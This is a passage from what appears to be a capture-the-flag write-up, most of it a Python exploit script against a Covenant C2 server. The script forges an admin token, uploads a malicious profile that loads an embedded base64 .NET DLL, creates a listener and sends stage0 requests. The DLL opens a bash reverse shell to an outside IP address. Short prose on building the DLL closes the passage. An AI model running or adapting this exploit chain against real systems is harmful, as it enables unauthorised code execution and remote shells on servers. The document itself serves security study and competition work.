UwHWAQYAMwCkAQ8A9gEAAAYAWwCMAQYAyQCMAQYAqgCMAQYAOgGMAQYABgGMAQYAHwGMAQYAcgCMAQYARwC3AQYAJQC3AQYAjQCMAQYAEgKAAQoACgKkAQAAAAAIAAAAAAABAAEAAQAQAAEAEQA9AAEAAQBQIAAAAACGGJ4BBgABAGogAAAAAIYAhwEqAAEAAAABAAUCCQCeAQEAEQCeAQYAGQCeAQoAKQCeARAAMQCeARAAOQCeARAAQQCeARAASQCeARAAUQCeARAAWQCeARAAYQCeARUAaQCeARAAcQCeARAAeQCeAQYAgQAZAhoALgALADAALgATADkALgAbAFgALgAjAGEALgArAHEALgAzAHEALgA7AHEALgBDAGEALgBLAHcALgBTAHEALgBbAHEALgBjAI8ALgBrALkABIAAAAEAAAAAAAAAAAAAAAAAEQAAAAIAAAAAAAAAAAAAACEAHAAAAAAAAgAAAAAAAAAAAAAAIQCAAQAAAAAAAABDbGFzczEAPE1vZHVsZT4ARXhhbXBsZURMTABtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4YW1wbGVETEwuZGxsAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAC5jdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBh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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAALQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
payload = """public static class MessageTransform {
public static string Transform(byte[] bytes) {
try {
string assemblyBase64 = "%s";
var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
var assembly = System.Reflection.Assembly.Load(assemblyBytes);
foreach (var type in assembly.GetTypes()) {
object instance = System.Activator.CreateInstance(type);
object[] args = new object[] { new string[] { "" } };
try {
type.GetMethod("Main").Invoke(instance, args);
}
catch {}
}
}
catch {}
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str) {
return System.Convert.FromBase64String(str);
}
}""" % dll
return payload
def read_listener_type(self,name : str) -> str:
response1 = requests.get("%s/api/listeners/types" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
listners_types = response1.json()
for listener_type in listners_types:
if listener_type['name'].lower() == name.lower():
return listener_type['id']
def upload_profile(self) -> int:
id =random.randint(6000,8000)
name = randomhex(4)
data = {
'httpUrls': [
'/en-us/index.html',
'/en-us/docs.html',
'/en-us/test.html'
],
'httpRequestHeaders': [
{'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
{'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
],
'httpResponseHeaders': [
{'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
],
'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
'httpGetResponse': 'salut: {DATA}',
'httpPostResponse': '{DATA}',
'id': id,
'name': "%s" % name,
'description': 'z3ste',
'type': 'HTTP',
'messageTransform': self.generate_transform_payload()
}
# response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
response2 = requests.post("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.status_code != 201:
print("[!] %sCan't create profile%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
if response2.json()["description"] == "z3st":
print("[!] %sProfil non créé%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
print("- Profil créé: id=%i / name=%s" % (response2.json()["id"],response2.json()["name"]))
response1 = requests.get("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
return id
def create_listener(self,id : int) -> None:
c2_port = random.randint(8000,8250)
self.c2_port = c2_port
name = randomhex(4)
data = {
'useSSL': False,
'urls': [
self.url
],
'id': 0,
'name': name,
'bindAddress': self.ip,
'bindPort': c2_port,
'connectAddresses': [
"%s" % self.ip
],
'connectPort': c2_port,
'profileId': id,
'listenerTypeId': self.read_listener_type('HTTP'),
'status': 'Active',
'Description':"Z3st"
}
#response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
response2 = requests.post("%s/api/listeners/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
try:
if response2.json()["description"] == "Z3st":
print("- Listener créé: id=%i / name=%s (%s)" % (response2.json()["id"],response2.json()["name"],response2.json()["urls"][0]))
return response2.json()["name"]
else:
print(response2.text)
print("[!] %sListener non créé%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
except TypeError:
print(response2.text)
print("[!] %sImpossible de creer le listener%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
def read_grunt_cfg(self,listener_name):
data = {
'id': 0,
'listenerId': self.read_listener_id(listener_name),
'implantTemplateId': 1,
'name': 'Binary',
'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
'type': 'binary',
'dotNetVersion': 'Net35',
'runtimeIdentifier': 'win_x64',
'validateCert': True,
'useCertPinning': True,
'smbPipeName': 'string',
'delay': 0,
'jitterPercent': 0,
'connectAttempts': 0,
'launcherString': 'GruntHTTP.exe',
'outputKind': 'consoleApplication',
'compressStager': False
}
# gerenate grunt payload
response2 = requests.put("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.text != "":
response2 = requests.post("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.text != "":
#print(response2.json())
code = (response2.json()['stagerCode'])
#print(code)
aes_key = re.search(".*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);",code).group(1)
guid_prefix = re.search(".*string\saGUID\s=\s@\"(.*?)\";",code).group(1)
print("- AES key: %s" % aes_key)
print("- GUID: %s" % guid_prefix)
return aes_key,guid_prefix
#
def generate_stage0(self,aes_key, guid):
headers = {}
headers['Cookies'] = "ASPSESSIONID=%s; SESSIONID=1552332971750" % guid
headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
#ruby aes.rb --key dazdzadaz --data dzaazdaz
payload = subprocess.check_output(['ruby', 'aes.rb', "--key", aes_key, "--guid", guid])
payload = payload.replace(b'\n',b'')
time.sleep(5)
data = {
'i' :'a19ea23062db990386a3a478cb89d52e',
'data' : payload.decode('utf-8'),
'session' : '75db-99b1-25fe4e9afbe58696-320bea73'
}
print(data)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.c2_port))
REQ_TEMPLATE = """GET /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'])
sent = s.send(REQ_TEMPLATE.encode("utf-8"))
content = s.recv(1024)
if not b"HTTP/1.1 200 OK" in content:
print(content)
print("[!] %sErreur lors de la connection%s" % (Fore.RED,Fore.WHITE))
#sys.exit(0)
s.close()
post_data = "i=%s&data=%s&session=%s" % (data['i'],data['data'],data['session'])
REQ_TEMPLATE = """POST /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'],len(post_data),post_data)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.c2_port))
sent = s.send(REQ_TEMPLATE.encode("utf-8"))
print(s.recv(1024))
def read_listener_id(self,name):
listeners = requests.get("%s/api/listeners" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN})
if listeners.text != "":
listeners = listeners.json()
for listener in listeners:
if listener['name'] == name:
return listener['id']
print("[!] %sImpossible de trouver le listener%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
def exploit(self) -> None:
print("[-] %sRecuperation de la liste des utilisateurs%s" % (Fore.MAGENTA,Fore.WHITE))
USER_LIST = self.get_user_list()
print("[-] %sGeneration du token admin%s" % (Fore.MAGENTA,Fore.WHITE))
self.ADMIN_NAME = "DGHACK_ADMIN"
self.ADMIN_ID = USER_LIST[1]["id"]
print("Choix: %s (%s) "% (self.ADMIN_NAME,self.ADMIN_ID))
self.ADMIN_TOKEN = self._gen_jwt(self.ADMIN_NAME,self.ADMIN_ID)
print(" - admin_token=%s" % self.ADMIN_TOKEN)
time.sleep(2)
print("[-] %sGeneration du profil malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
profil_id = self.upload_profile()
print("[-] %sGeneration du listener malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
listener_name = self.create_listener(profil_id)
print("[-] %sRecuperation de la configuration grunt%s" % (Fore.MAGENTA,Fore.WHITE))
aes_key, guid_prefix = self.read_grunt_cfg(listener_name)
print("[-] %sStage0%s" % (Fore.MAGENTA,Fore.WHITE))
self.generate_stage0(aes_key, guid_prefix + randomhex(5))
a = exploit()
a.exploit()
All we have to do now is generate a working DLL. I start by recovering the DLL used in the ruby script, I add my bash reverse shell code and I run it, once, twice, three times but nothing happens. I understand it’s a little more complex than that. While (re)reading the hunting the hunters article, I came across a link to Malcom Vetter’s article ( here ), then a link to his code ( here ). For more information I invite you to read his article.
I generate the DLL which I encode in base64 and I place it in my script, and normally we are good.
And finally…
Now that our script is complete, just run it: